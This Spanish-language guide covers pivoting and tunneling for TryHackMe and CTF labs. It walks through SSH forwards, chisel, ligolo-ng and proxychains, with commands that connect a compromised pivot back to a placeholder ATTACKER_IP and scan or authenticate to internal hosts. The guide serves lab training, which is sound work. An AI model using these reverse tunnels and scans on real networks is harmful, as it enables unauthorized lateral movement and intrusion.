

Guia practica - Pivoting y Tunneling para THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Guia para cuando una maquina comprometida ve servicios o redes que tu atacante no ve directamente.

Mentalidad: descubrir red interna -> elegir tunel -> validar alcance -> enumerar sin ruido -> mover solo lo necesario.

1. Detectar que necesitas pivot

```
ip a
ip route
ss -tulpen
netstat -ano
hostname -I
cat /etc/hosts
arp -a
```

- 127.0.0.1 con servicio interesante: necesitas local port forward.
- Interfaz adicional 172.16/10.10/192.168: puede haber red interna.
- Rutas hacia subredes que tu Kali no alcanza: necesitas SOCKS, TUN o forward especifico.

2. Elegir tecnica rapidamente

Situacion	Tecnica recomendada
Tengo SSH al pivot	ssh -L para servicio concreto, ssh -D para SOCKS.
No tengo SSH pero puedo ejecutar binarios	chisel o ligolo-ng.
Necesito escanear muchos puertos/hosts	ligolo-ng suele ser mas comodo que SOCKS.
Solo necesito una web interna	forward local especifico con ssh -L o chisel.
Servicio interno usa hostname	tunnel + /etc/hosts o proxy que respete DNS segun caso.

3. SSH local, dynamic y reverse forwards

Usa SSH si ya tienes credenciales o clave. Es estable y facil de razonar.

```
# Local forward: exponer servicio interno en tu Kali
ssh -L 8080:127.0.0.1:80 user@$IP
curl http://127.0.0.1:8080
```

```
# SOCKS proxy para multiples destinos
ssh -D 1080 -N user@$IP
proxychains nmap -sT -Pn -p80,445 10.10.20.5
```

```
# Reverse forward: cuando el pivot puede salir hacia ti
ssh -R 9001:127.0.0.1:9001 user@ATTACKER_IP
```

- -L = tu maquina escucha y manda trafico hacia dentro.
- -D = SOCKS local para herramientas compatibles con proxychains.
- -R = la maquina remota abre un puerto que vuelve hacia ti.

4. Chisel

Chisel es util cuando no hay SSH. Necesitas servidor en un lado y cliente en el otro.

```
# Atacante
chisel server -p 8000 --reverse

# Victima/pivot: SOCKS reverse hacia atacante
./chisel client ATTACKER_IP:8000 R:socks

# Atacante: usar SOCKS
proxychains curl http://10.10.20.5/

# Forward especifico
./chisel client ATTACKER_IP:8000 R:8080:127.0.0.1:80
```

- Si hay firewall de entrada, usa reverse: la víctima conecta hacia tu máquina.
- Comprueba con curl antes de lanzar escaneos grandes.

5. Ligolo-ng

Ligolo-ng crea una interfaz tun y suele simplificar escaneos internos en labs.

```
# Atacante
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# Pivot
./agent -connect ATTACKER_IP:11601 -ignore-cert

# En consola ligolo
session
ifconfig
start

# Atacante: ruta hacia red interna
sudo ip route add 10.10.20.0/24 dev ligolo
nmap -Pn -sT -p80,445 10.10.20.5
```

- Muy cómodo cuando quieres tratar la red interna como enrutable.
- Usa -sT en nmap si SYN scan no funciona por el túnel.

6. Proxychains y nmap

No todas las herramientas funcionan igual sobre SOCKS.

```
echo 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf
proxychains curl http://10.10.20.5/
proxychains nmap -sT -Pn -n -p80,445 10.10.20.5
proxychains crackmapexec smb 10.10.20.5 -u USER -p PASS
```

- Con proxychains usa TCP connect scan (-sT), no SYN scan.
- Evita escaneos -p- enormes al principio; valida hosts y puertos probables.

7. DNS y nombres internos

Muchas apps internas dependen de hostnames.

```
cat /etc/resolv.conf
nslookup intranet.local DNS_INTERNO
dig @DNS_INTERNO intranet.local
echo '10.10.20.5 intranet.local' | sudo tee -a /etc/hosts
```

- Si el túnel no transporta DNS, resuelve manualmente y añade /etc/hosts.
- En AD, Kerberos suele requerir FQDN y reloj correcto.

8. Validación antes de seguir

- Puedo hacer ping o TCP connect al host interno?
- curl/nc confirma el servicio esperado?
- La herramienta usa el proxy o está saliendo directo?
- El hostname resuelve al destino correcto?
- Tengo notas claras de: atacante -> pivot -> red interna -> servicio?